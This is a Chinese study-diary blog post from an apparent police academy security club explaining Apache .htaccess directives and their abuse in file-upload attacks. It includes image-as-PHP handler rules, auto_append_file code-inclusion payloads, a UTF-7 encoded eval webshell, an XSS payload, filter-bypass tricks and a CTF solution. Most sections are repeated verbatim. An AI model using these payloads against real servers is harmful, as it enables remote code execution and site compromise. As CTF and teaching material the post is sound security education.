皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~
-
2021级fake_s0u1 | .htaccess文件的使用
-
基本概念
-
作用范围
-
常见指令
-
.htaccess 的常见利用
-
基本概念
-
作用范围
-
常见指令
-
.htaccess 的常见利用
-
与.htaccess相关的几个bypass
-
与.htaccess相关的几个bypass
2021级fake_s0u1 | .htaccess文件的使用
基本概念
.htaccess 文件是apache中的一种特殊的文件 其提供了针对目录改变配置的方法 即在 一个特定的文档目录中放置一个包含一条或多条指令的文件 以作用于此目录及其所有子目录 作为用户 所能使用的命令收到限制 管理员 可以通过 apache的allowoverride指令 来设置
其中有#单行注释符 且支持拼接上下两行
作用范围
.htaccess 文件中的配置指令作用于 .htaccess 文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有 .htaccess 文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess 文件中的指令可能会覆盖其上级目录中的 .htaccess 文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令
常见指令
.htaccess 可以实现网页301 重定向 自定义404错误页面 改变文件扩展名 允许或者阻止特定的用户或者目录的访问 禁止目录列表 配置默认文档等功能
SetHandler
sethandler指令可以强制所有的匹配的文件被一个指定的处理器处理
用法
SetHandler handler-name|None
栗子
SetHandler application/x-httpd-php
此时当前目录下以及其子目录下的所有文件都会被当作php解析
栗子2
SetHandler server-status
这样子我们可以开启apache的服务器状态信息 可以查看所有访问本站的记录
AddHandler
此指令可以实现在文件扩展名与特定的处理器之间建立映射
用法
AddHandler handler-name extensive [extensive] ...
栗子
AddHandler cgi-script .xxx
上面的意思就是 要将扩展名为.xxx的文件作为CGI脚本来处理
AddType
此指令可以将给定的文件扩展名映射到指定的内容类型
用法
AddType media-type extensive [extensive] ...
栗子
AddType application/x-httpd-php .gif
上面的语句可以将gif后缀的文件当做php文件解析
栗子2
AddType application/x-httpd-php png jpg gif
可以将png jpg gif多个后缀的文件当作php解析
php_value
当使用php作为apache 模块时 可以使用 apache的配置文件 (httpd.conf) 或者是 .htaccess 文件中的指令 来修改php的配置设定 但是需要有开启AllowOverride Options 或 AllowOverride All 权限才可以
php_value 指令 用来设定指定的php配置值 要清楚先前设定的值 将value设为none 但是php_value 不能用来设定布尔值 如果要设定布尔值的话需要使用 php_flag
php_value name value
栗子
php_value auto_prepend_file images.png
如上设置 当我们访问一个php文件时 在该文件解析之前 会先自动包含并解析images.png 文件
php_flag
此指令 用来设定布尔值类型的php设置选项
用法
php_flag name on|off
栗子
php_flag engine 0
如此 可以将engine设置为0 即在本目录和子目录中关闭php解析 可以造成源码泄露
.htaccess 的常见利用
源码泄露
我们可以通过htaccess的php_flag 指令 对php的engine配置选项进行设定 当把engine的值设为off或0的时候 我们可以金童一个本目录和子目录中的 php解析 此时将会造成源码泄露
图片马解析
我们知道,在文件上传漏洞中经常遇到上传图片马的情况,如果目标环境开启了 .htaccess 并且上传的黑名单没有限制 .htaccess 文件的话,我们便可以先上传 .htaccess 文件,对目标环境的目录进行相应的配置,然后再上传图片,使图片的 PHP 恶意代码得以被直接解析执行。
我们有两个常用的指令
SetHandler 指令
我们可以使用SetHandler 指令强制将所有匹配的文件被PHP处理器处理并解析
# 将images.png 当做 php 执行
<FilesMatch "images.png">
SetHandler application/x-httpd-php
</FilesMatch>
AddType 指令
我们同样也可以使用AddType 指令将给定的文件扩展名 映射到php的内容类型
# 将 .jpg 当做 php 文件解析
AddType application/x-httpd-php .png
这两种配置都可以使我们上传的非php类型的文件当作php来执行
基本概念
.htaccess 文件是apache中的一种特殊的文件 其提供了针对目录改变配置的方法 即在 一个特定的文档目录中放置一个包含一条或多条指令的文件 以作用于此目录及其所有子目录 作为用户 所能使用的命令收到限制 管理员 可以通过 apache的allowoverride指令 来设置
其中有#单行注释符 且支持拼接上下两行
作用范围
.htaccess 文件中的配置指令作用于 .htaccess 文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有 .htaccess 文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess 文件中的指令可能会覆盖其上级目录中的 .htaccess 文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令
常见指令
.htaccess 可以实现网页301 重定向 自定义404错误页面 改变文件扩展名 允许或者阻止特定的用户或者目录的访问 禁止目录列表 配置默认文档等功能
SetHandler
sethandler指令可以强制所有的匹配的文件被一个指定的处理器处理
用法
SetHandler handler-name|None
栗子
SetHandler application/x-httpd-php
此时当前目录下以及其子目录下的所有文件都会被当作php解析
栗子2
SetHandler server-status
这样子我们可以开启apache的服务器状态信息 可以查看所有访问本站的记录
AddHandler
此指令可以实现在文件扩展名与特定的处理器之间建立映射
用法
AddHandler handler-name extensive [extensive] ...
栗子
AddHandler cgi-script .xxx
上面的意思就是 要将扩展名为.xxx的文件作为CGI脚本来处理
AddType
此指令可以将给定的文件扩展名映射到指定的内容类型
用法
AddType media-type extensive [extensive] ...
栗子
AddType application/x-httpd-php .gif
上面的语句可以将gif后缀的文件当做php文件解析
栗子2
AddType application/x-httpd-php png jpg gif
可以将png jpg gif多个后缀的文件当作php解析
php_value
当使用php作为apache 模块时 可以使用 apache的配置文件 (httpd.conf) 或者是 .htaccess 文件中的指令 来修改php的配置设定 但是需要有开启AllowOverride Options 或 AllowOverride All 权限才可以
php_value 指令 用来设定指定的php配置值 要清楚先前设定的值 将value设为none 但是php_value 不能用来设定布尔值 如果要设定布尔值的话需要使用 php_flag
php_value name value
栗子
php_value auto_prepend_file images.png
如上设置 当我们访问一个php文件时 在该文件解析之前 会先自动包含并解析images.png 文件
php_flag
此指令 用来设定布尔值类型的php设置选项
用法
php_flag name on|off
栗子
php_flag engine 0
如此 可以将engine设置为0 即在本目录和子目录中关闭php解析 可以造成源码泄露
.htaccess 的常见利用
源码泄露
我们可以通过htaccess的php_flag 指令 对php的engine配置选项进行设定 当把engine的值设为off或0的时候 我们可以金童一个本目录和子目录中的 php解析 此时将会造成源码泄露
图片马解析
我们知道,在文件上传漏洞中经常遇到上传图片马的情况,如果目标环境开启了 .htaccess 并且上传的黑名单没有限制 .htaccess 文件的话,我们便可以先上传 .htaccess 文件,对目标环境的目录进行相应的配置,然后再上传图片,使图片的 PHP 恶意代码得以被直接解析执行。
我们有两个常用的指令
SetHandler 指令
我们可以使用SetHandler 指令强制将所有匹配的文件被PHP处理器处理并解析
# 将images.png 当做 php 执行
<FilesMatch "images.png">
SetHandler application/x-httpd-php
</FilesMatch>
AddType 指令
我们同样也可以使用AddType 指令将给定的文件扩展名 映射到php的内容类型
# 将 .jpg 当做 php 文件解析
AddType application/x-httpd-php .png
这两种配置都可以使我们上传的非php类型的文件当作php来执行
任意命令执行
这里主要用的还是 auto_prepend_file 或 auto_append_file 这两个配置项。
条件:
-
allow_url_fopen 为 On
-
allow_url_include 为 On
-
目标环境的当前目录中存在至少一个 PHP 文件
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
或:
php_value auto_append_file data://text/plian,%3c%3fphp+phpinfo()%3b%3f%3e
一道样题 d3 funny_upload
这道题属实是有点折磨我唔 因为一开始对于htaccess的理解 并不是很正确 那就进入题目吧
这个题目 首先是有一个前端的js过滤 然后 对于文件的内容有所过滤 <? 被过滤掉了
只是注意 在提交的时候 一定是.htaccess
但是在后端 htaccess并未被过滤掉 于是 尝试 上传此文件 来进行绕过 同时 因为被过滤了内容 这里 可以使用对上传文件进行编码来进行绕过 并在htaccess中执行命令 来执行
先上传一个内容为
AddType application/x-httpd-php .xxx
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"
的.htaccess文件 既做到可以执行将png看作php执行的命令 又可以 执行我们想要执行的命令 也就是上传的shell.xxx 我们其后上传内容为
PD9waHAgcHJpbnRfcihmaWxlX2dldF9jb250ZW50cygnL2ZsYWcnKSk7
解码过来就是
<?php print_r(file_get_contents('/flag'));
可以访问shell.xxx 来得到flag
进行xss攻击
通过设置 highlight_file
我们可以通过 .htaccess 文件设定 highlight.comment 选项,指定需要高亮的内容,从而进行 XSS。
.htaccess中的内容
php_value highlight.comment '"><script>alert(1);</script>'
index.php中的内容为:
<?php
highlight_file(__FILE__);
// comment
当访问index.php时便会触发 XSS:
绕过<? 特殊字符
base64
这个知识点 在上面的funnyupload中 也是有所涉及到的
主要就是利用 auto_append_file 和 PHP 伪协议,比如我们在一个图片中写入经过base64编码后的 Webshell,然后我们便可以使用 auto_append_file 配合 php://filter 将其包含进来
就类似于这样
php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"
utf-7
还有这一种编码 我们可以在一个图片中写入utf-7编码格式的webshell
+ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-xxxxxxxxxx +ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-
我们使用 auto_append_file 将其包含进来并设置编码格式为 UTF-7 就行了
php_value auto_append_file images.png
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
当然 也可以是跟上面的base64相同的方法 使用filter协议来实现
php_value auto_append_file "php://filter/read=convert.iconv.utf-7.utf-8/resource=images.png"
与.htaccess相关的几个bypass
绕过关键字过滤
绕过对关键字的过滤我们可以使用反斜杠 加换行来实现。比如题目过滤了 type、php 等敏感字符,此时为了利用 .htaccess 解析图片马,我们需要将 .htaccess 写成这样:
AddTy
pe application/x-httpd-ph
p .png
# 即: AddType application/x-httpd-php .png
绕过脏字符
即有时候,题目会在我们上传或写入的文件中加入一个混乱的字符(脏字符),由于这些字符不是 .htaccess 文件的语法或指令,所以会使我们的.htaccess文件不生效,出现响应500的问题。为了时我们写入的 .htaccess 文件生效,我们要采用 #
对脏字符进行注释,或使用反斜杠 将换行符转义成普通字符。
绕过对上传图片的尺寸限制
有时候,在图片上传区会使用 getimagesize()
等函数对上传的图片进行尺寸限制,只允许上传指定大小尺寸的图片,并且会使用 exif_imagetype()
函数读取第一个字节并检查其图片类型。此时如果可以上传 .htaccess 来解析图片的话我们还需要让 .htaccess 的尺寸和经过 exif_imagetype()
检测后的结果符合题目要求。
我们可以使用 exif_imagetype()
函数支持的 WBMP 图像类型进行绕过。WBMP(Wireless Bitmap)是一种移动计算机设备使用的标准图像格式,是一种纯文本二进制图像格式的图片,实例如下:
#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };
可以看到 WBMP 图像的开头可以使用 #
设置图像的尺寸大小,这正符合我们的要求。所以假设题目限制我们上传的图片尺寸必须为1337×1337,那么我们在上传.htaccess时便可以用 WBMP 来绕过,例如:
#define width 1337
#define height 1337
AddType application/x-httpd-php images.png
任意命令执行
这里主要用的还是 auto_prepend_file 或 auto_append_file 这两个配置项。
条件:
-
allow_url_fopen 为 On
-
allow_url_include 为 On
-
目标环境的当前目录中存在至少一个 PHP 文件
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
或:
php_value auto_append_file data://text/plian,%3c%3fphp+phpinfo()%3b%3f%3e
一道样题 d3 funny_upload
这道题属实是有点折磨我唔 因为一开始对于htaccess的理解 并不是很正确 那就进入题目吧
这个题目 首先是有一个前端的js过滤 然后 对于文件的内容有所过滤 <? 被过滤掉了
只是注意 在提交的时候 一定是.htaccess
但是在后端 htaccess并未被过滤掉 于是 尝试 上传此文件 来进行绕过 同时 因为被过滤了内容 这里 可以使用对上传文件进行编码来进行绕过 并在htaccess中执行命令 来执行
先上传一个内容为
AddType application/x-httpd-php .xxx
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"
的.htaccess文件 既做到可以执行将png看作php执行的命令 又可以 执行我们想要执行的命令 也就是上传的shell.xxx 我们其后上传内容为
PD9waHAgcHJpbnRfcihmaWxlX2dldF9jb250ZW50cygnL2ZsYWcnKSk7
解码过来就是
<?php print_r(file_get_contents('/flag'));
可以访问shell.xxx 来得到flag
进行xss攻击
通过设置 highlight_file
我们可以通过 .htaccess 文件设定 highlight.comment 选项,指定需要高亮的内容,从而进行 XSS。
.htaccess中的内容
php_value highlight.comment '"><script>alert(1);</script>'
index.php中的内容为:
<?php
highlight_file(__FILE__);
// comment
当访问index.php时便会触发 XSS:
绕过<? 特殊字符
base64
这个知识点 在上面的funnyupload中 也是有所涉及到的
主要就是利用 auto_append_file 和 PHP 伪协议,比如我们在一个图片中写入经过base64编码后的 Webshell,然后我们便可以使用 auto_append_file 配合 php://filter 将其包含进来
就类似于这样
php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"
utf-7
还有这一种编码 我们可以在一个图片中写入utf-7编码格式的webshell
+ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-xxxxxxxxxx +ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-
我们使用 auto_append_file 将其包含进来并设置编码格式为 UTF-7 就行了
php_value auto_append_file images.png
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
当然 也可以是跟上面的base64相同的方法 使用filter协议来实现
php_value auto_append_file "php://filter/read=convert.iconv.utf-7.utf-8/resource=images.png"
与.htaccess相关的几个bypass
绕过关键字过滤
绕过对关键字的过滤我们可以使用反斜杠 加换行来实现。比如题目过滤了 type、php 等敏感字符,此时为了利用 .htaccess 解析图片马,我们需要将 .htaccess 写成这样:
AddTy
pe application/x-httpd-ph
p .png
# 即: AddType application/x-httpd-php .png
绕过脏字符
即有时候,题目会在我们上传或写入的文件中加入一个混乱的字符(脏字符),由于这些字符不是 .htaccess 文件的语法或指令,所以会使我们的.htaccess文件不生效,出现响应500的问题。为了时我们写入的 .htaccess 文件生效,我们要采用 #
对脏字符进行注释,或使用反斜杠 将换行符转义成普通字符。
绕过对上传图片的尺寸限制
有时候,在图片上传区会使用 getimagesize()
等函数对上传的图片进行尺寸限制,只允许上传指定大小尺寸的图片,并且会使用 exif_imagetype()
函数读取第一个字节并检查其图片类型。此时如果可以上传 .htaccess 来解析图片的话我们还需要让 .htaccess 的尺寸和经过 exif_imagetype()
检测后的结果符合题目要求。
我们可以使用 exif_imagetype()
函数支持的 WBMP 图像类型进行绕过。WBMP(Wireless Bitmap)是一种移动计算机设备使用的标准图像格式,是一种纯文本二进制图像格式的图片,实例如下:
#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };
可以看到 WBMP 图像的开头可以使用 #
设置图像的尺寸大小,这正符合我们的要求。所以假设题目限制我们上传的图片尺寸必须为1337×1337,那么我们在上传.htaccess时便可以用 WBMP 来绕过,例如:
#define width 1337
#define height 1337
AddType application/x-httpd-php images.png
原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 7.5 WEB|.htaccess文件的使用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论